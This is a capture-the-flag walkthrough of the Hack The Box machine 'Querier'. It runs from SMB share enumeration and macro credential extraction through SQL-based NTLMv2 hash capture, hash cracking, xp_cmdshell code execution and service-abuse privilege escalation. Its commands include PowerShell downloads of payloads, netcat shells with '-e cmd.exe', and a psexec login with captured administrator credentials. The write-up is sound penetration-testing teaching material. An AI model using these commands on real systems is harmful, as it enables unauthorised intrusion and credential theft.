Hack The Box - Querier

9 minute read



Querier is true to its name, requiring exploitation of common SQL vulnerabilities whilst combining elements of combing through macros, insecure SMB shares, hash capturing and cracking, and service exploitation. All in all it is a great box for those wishing to move up from some of the easier machines, but aren’t yet ready to face the burden of more challenging machines.

Gaining Access

  • Find open SMB share
  • Download excel spreadsheet macro file
  • Find credentials in macro
  • Logon to the SQL database and browse
  • Extended procedure to steal hash of user
  • Crack the hash, login and enable shell

Elevating Privileges

  • Upload netcat binary
  • Upload and execute powerup script
  • Locate vulnerable service and gpassword
  • Abuse vulnerable service, or login as Admin



First step is to enumerate open ports.

root@mintsec:~/Desktop/machines/Querier# nmap -sC -sV -oA nmap10.10.10.125 
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server  14.00.1000.00
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-04-26T11:59:34
|_Not valid after:  2049-04-26T11:59:34
|_ssl-date: 2019-04-26T12:00:17+00:00; +2s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| ms-sql-info: 
|     Version: 
|       name: Microsoft SQL Server 
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 
|_    TCP port: 1433
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-04-26 21:30:20
|_  start_date: N/A

Find open SMB share

Given ports 135, 139, and 445 were open we can check for any open shares, in this case we find a “Reports” share we can connect to.

root@mintsec:~/Desktop/machines/Querier# smbclient -L //
root@mintsec:~/Desktop/machines/Querier# smbclient \\\\\\Reports

Download Excel Spreadsheet Macro file

Currency Volume Report.xlsm

The only file on the share is a macro enabled spreadsheet, and it seems interesting, so we can download and open it as an archive to get some more information.

smb: \> get "Currency Volume Report.xlsm"

Within the /xl/ directory we find a vbaProject.bin file indicating an embedded macro which we can extract.

Embedded macro file

Find Credentials in Macro

After extracting the macro, one of the ways we can filter noise from the macro is to run the tool strings over it.

root@mintsec:~/Desktop/machines/Querier# strings vbaProject.bin
macro to pull data for client volume reports
SELECT * FROM volume;
 MsgBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
 further testing required

Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6

At this point we have a connection string to the SQL database which includes the database name, user ID and password. Excellent. A more efficient way of extracting the macro, is to use olevba from oletools.

root@mintsec:~/Desktop/machines/Querier# olevba Currency\ Volume\ Report.xlsm 
olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OpX:M-S-H--- Currency Volume Report.xlsm
FILE: Currency Volume Report.xlsm
Type: OpenXML
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs

End If

End Sub
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
| Type       | Keyword     | Description                             |
| Suspicious | Open        | May open a file                         |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
|            |             | be used to obfuscate strings (option    |
|            |             | --decode to see all)                    |

Logon to the SQL database and browse

Using a toolkit known as Impacket which is created by the people at SecureAuthCorp, we are able to logon to the SQL database using the credentials we just obtained. This is done with their mssqlclient python script.

python mssqlclient.py -windows-auth -db volume reporting@

From here we can find out what databases exist using an SQL query.

SQL> SELECT name FROM master.dbo.sysdatabases

We can also enumerate an unusual hostname with an SQL query, although this doesn’t assist us in getting a shell.

SQL> SELECT HOST_NAME()                                                                                                                         

Extended procedure to steal hash of user

Following an excellent cheat sheet, we’re able to formulate an extended procedure which allows us to capture the NTLMv2 hash for the Service Account which is running the Microsoft SQL service.

Pentest monkey MSSQL injection cheat sheet

To check whether we can successfully get a connection back, we can run netcat and listen on port 445.

From Host:

root@mintsec:~/Desktop/machines/Querier/nmap# nc -nlvp 445
listening on [any] 445 ...
connect to [] from (UNKNOWN) [] 49720
E?SMBrS?????"NT LM 0.12SMB 2.002SMB 2.???

From Querier:

SQL> ;declare @q varchar(200);set @q='\\\fake'+(SELECT SUBSTRING(@@version,1,9)); exec master.dbo.xp_dirtree @q;

Excellent, so from this we know a connection can be made back to our machine. Utilising responder by Laurent Gaffie, we can capture this authentication attempt including the NTLMv2 hash by pretending to be a valid SMB server.

From Host:

root@mintsec:~/Desktop/machines/Querier/# responder -I tun0
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|

           NBT-NS, LLMNR & MDNS Responder

  Author: Laurent Gaffie ([email protected])
  To kill this script hit CRTL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               []
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Listening for events...

From Querier:

SQL> ;declare @q varchar(200);set @q='\\\fake'+(SELECT SUBSTRING(@@version,1,9)); exec master.dbo.xp_dirtree @q;

Captured NTLMv2 Hash

Crack the hash, login and enable shell

At this point we can use a dedicated cracking machine (in my case a Windows Gaming OS) with hashcat to crack the hashes we’ve just obtained. I placed this in a file called SQL.hash and went at it with the well known rockyou.txt file.

    hashcat64.exe -m 5600 hashes/SQL.hash rockyou.txt

If you’ve already got these hashes cracked in your potfile you can use the –show parameter to display them.

hashcat64.exe -m 5600 --show hashes/SQL.hash

And with that we now have a password for use.


Once again we can use the Impacket toolkit to authenticate as this new user.

root@mintsec:~/Desktop/machines/Querier/#python mssqlclient.py -windows-auth -db volume [email protected]

And then after enabling the xp_cmdshell extended function we have code execution and can locate the user.txt file

SQL> enable_xp_cmdshell
SQL> xp_cmdshell dir ..\..\Users\mssql-svc\Desktop

Gaining Access

At this point we can read the user.txt file and execute commands on the machine.

SQL> xp_cmdshell type ..\..\Users\mssql-svc\Desktop\user.txt

User.txt: c37b4…b3c16

Upload netcat binary

This machine has powershell, and as such we can abuse this to upload files to the machine. This is done by making the machine download files from us. To give us more functionality and prevent the need of the xp_cmdshell command, we can upload the Windows netcat binary to the machine in a writeable directory. After moving a copy to our working directory, we host a HTTP Server on port 8080.

From Host:

root@mintsec:~/Desktop/machines/Querier/ python -m SimpleHTTPServer 8080

And now we can now have Querier download our binary, at which point we can spin up a listener that we can then connect to.

From Querier:

SQL> xp_cmdshell powershell -command "(New-Object System.Net.WebClient).DownloadFile(\"\",\"C:\Users\Public\shell.exe\")"
SQL> xp_cmdshell ..\..\Users\Public\shell.exe -nlvp 9999 -e cmd.exe

From Host:

root@mintsec:~/Desktop/machines/Querier/ nc 9999

From this shell we can run Powershell and check our mapped drives to see if there’s anything of interest. In this case it seems relatively standard,

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Upload and execute powerup script

A common windows privilege escalation enumeration script is known as Powerup and is part of the powersploit framework. We can upload or invoke this in memory to find any common privesc areas.

Once again using Powershell we can host and upload this file.

powershell -command "(New-Object System.Net.WebClient).DownloadFile(\"\",\"C:\Users\Public\mintyprivesc.ps1\")"

Locate vulnerable service and gpassword

By importing this module and running Invoke-AllChecks we can find at least 2 ways of escalating our privileges.

PS C:\Users\Public> Import-Module ./mintyprivesc.ps1
PS C:\Users\Public> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
PS C:\Users\Public> type checks.txt   

[*] Running Invoke-AllChecks
    [*] Checking if user is in a local group with administrative privileges...
    [*] Checking for unquoted service paths...
    [*] Checking service executable and argument permissions...
    [*] Checking service permissions...

    ServiceName   : UsoSvc
    Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
    StartName     : LocalSystem
    AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
    CanRestart    : True

    [*] Checking %PATH% for potentially hijackable DLL locations...

    ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
    IdentityReference : QUERIER\mssql-svc
    Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
    %PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
    AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

    [*] Checking for AlwaysInstallElevated registry key...
    [*] Checking for Autologon credentials in registry...
    [*] Checking for modifidable registry autoruns and configs...
    [*] Checking for modifiable schtask files/configs...
    [*] Checking for unattended install files...

    UnattendPath : C:\Windows\Panther\Unattend.xml

    [*] Checking for encrypted web.config strings...
    [*] Checking for encrypted application pool and virtual directory passwords...
    [*] Checking for plaintext passwords in McAfee SiteList.xml files....
    [*] Checking for cached Group Policy Preferences .xml files....

    Changed   : {2019-01-28 23:12:48}
    UserNames : {Administrator}
    NewName   : [BLANK]
    Passwords : {MyUnclesAreMarioAndLuigi!!1!}
    File      : C:\ProgramData\Microsoft\Group 

These two areas of interest are shown below:

  • ServiceName : UsoSvc
  • Path : C:\Windows\system32\svchost.exe -k netsvcs -p
  • StartName : LocalSystem
  • AbuseFunction : Invoke-ServiceAbuse -Name ‘UsoSvc’

  • UserNames : {Administrator}
  • Passwords : {MyUnclesAreMarioAndLuigi!!1!}

Abuse vulnerable service, or login as Admin

The first area of interest is a vulnerable service which we can take advantage of using Invoke-ServiceAbuse as part of the Powerup script. First we setup a listener to receive the connection, in this case we’ve chosen port 443 as it’s usually not blocked by any firewall:

From Host:

root@mintsec:~/Desktop/machines/Querier# nc -nlvp 443
listening on [any] 443 ...

Then we invoke service abuse on Querier:

 PS C:\Users\Public> Invoke-ServiceAbuse -Name UsoSvc -Command "..\..\Users\Public\shell.exe 443 -e cmd.exe"

And finally we get a root shell.

root@mintsec:~/Desktop/machines/Querier# nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49726
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

The other way is to simply login using the credentials Powerup has decrypted from the Group Policy Preferences file. This can be done using psexec.py once again which is included as part of the Impacket toolkit.

root@mintsec:~/Desktop/machines/Querier# psexec.py 'QUERIER/Administrator':'MyUnclesAreMarioAndLuigi!!1!'@

From here we have total control over the machine

Elevating Privileges

C:\Windows\system32>cd ../../Users/Administrator/Desktop
C:\Users\Administrator\Desktop>type root.txt

root.txt: b19c3…c3592

Final Notes

At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.